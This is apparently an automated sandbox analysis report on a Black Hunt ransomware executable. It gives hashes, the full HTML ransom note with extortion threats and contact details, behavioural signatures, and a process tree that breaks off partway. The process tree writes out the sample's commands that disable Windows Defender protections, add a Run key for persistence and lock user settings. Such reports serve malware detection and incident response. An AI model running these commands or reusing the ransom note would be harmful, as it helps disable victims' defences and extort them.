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Analysis

  • max time kernel
    144s
  • max time network
    157s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231222-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system
  • submitted
    18/01/2024, 22:11

General

  • Target

    4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe

  • Size

    707KB

  • MD5

    94bcfc87f557e0955b93dd15f79315ed

  • SHA1

    fea243bdbecf5e0064f36845093e7c8148915186

  • SHA256

    4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3

  • SHA512

    d5f2cea82f44fd43baf98c8c35ae549959f0efeb277cc0f83faac1e17570814d3cb2f8fdba900d87f9078941fce77d1f5bf72d61b011f95ae16bea785010c94d

  • SSDEEP

    6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1m86vnh:6uaTmkZJ+naie5OTamgEoKxLWtUh

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note
<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> vjOWY2YFcbtxM30H </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>
URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

  • Deletes NTFS Change Journal 2 TTPs 2 IoCs

    The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

  • Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs
  • UAC bypass 3 TTPs 1 IoCs
  • Clears Windows event logs 1 TTPs 5 IoCs
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
  • Renames multiple (3363) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

  • Deletes backup catalog 3 TTPs 2 IoCs

    Uses wbadmin.exe to inhibit system recovery.

  • Disables Task Manager via registry modification
  • Disables use of System Restore points 1 TTPs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Enumerates connected drives 3 TTPs 27 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 4 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Interacts with shadow copies 2 TTPs 6 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Kills process with taskkill 1 IoCs
  • Modifies registry class 11 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 24 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 3 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
    "C:\Users\Admin\AppData\Local\Temp\4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe"
    1⤵
    • UAC bypass
    • Checks computer location settings
    • Checks whether UAC is enabled
    • Enumerates connected drives
    • Sets desktop wallpaper using registry
    • Drops file in Program Files directory
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    • System policy modification
    PID:1756
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4120
      • C:\Windows\system32\reg.exe
        reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
        3⤵
        • Modifies registry class
        PID:3516
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:856
      • C:\Windows\system32\reg.exe
        reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
        3⤵
        • Modifies registry class
        PID:664
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4712
      • C:\Windows\system32\reg.exe
        reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
        3⤵
        • Modifies registry class
        PID:3400
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5080
      • C:\Windows\system32\reg.exe
        reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
        3⤵
          PID:1152
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:404
        • C:\Windows\system32\reg.exe
          reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
          3⤵
          • Adds Run key to start application
          PID:1988
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
        2⤵
          PID:548
          • C:\Windows\system32\reg.exe
            reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
            3⤵
              PID:4720
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:4348
            • C:\Windows\system32\reg.exe
              reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
              3⤵
              • Modifies Windows Defender Real-time Protection settings
              PID:4448
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
            2⤵
              PID:2380
              • C:\Windows\system32\reg.exe
                reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
                3⤵
                  PID:4024
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
                2⤵
                  PID:3724
                  • C:\Windows\system32\reg.exe
                    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
                    3⤵
                      PID:2292
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
                    2⤵
                      PID:1136
                      • C:\Windows\system32\reg.exe
                        reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
                        3⤵
                          PID:1464
                      • C:\Windows\System32\cmd.exe
                        "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
                        2⤵
                          PID:3832
                          • C:\Windows\system32\reg.exe
                            reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
                            3⤵
                              PID:3952
                          • C:\Windows\System32\cmd.exe
                            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
                            2⤵
                              PID:820
                              • C:\Windows\system32\reg.exe
                                reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
                                3⤵
                                  PID:2268
                              • C:\Windows\System32\cmd.exe
                                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
                                2⤵
                                  PID:3592
                                  • C:\Windows\system32\reg.exe
                                    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
                                    3⤵
                                    • Modifies registry class
                                    PID:1152
                                • C:\Windows\System32\cmd.exe
                                  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
                                  2⤵
                                    PID:1020
                                    • C:\Windows\system32\reg.exe
                                      reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
                                      3⤵
                                        PID:684
                                    • C:\Windows\System32\cmd.exe
                                      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
                                      2⤵
                                        PID:3996
                                        • C:\Windows\system32\reg.exe
                                          reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
                                          3⤵
                                            PID:3580
                                        • C:\Windows\System32\cmd.exe
                                          "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
                                          2⤵
                                            PID:1940
                                            • C:\Windows\system32\reg.exe
                                              reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
                                              3⤵
                                                PID:3120
                                            • C:\Windows\System32\cmd.exe
                                              "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
                                              2⤵
                                                PID:1748
                                                • C:\Windows\system32\reg.exe
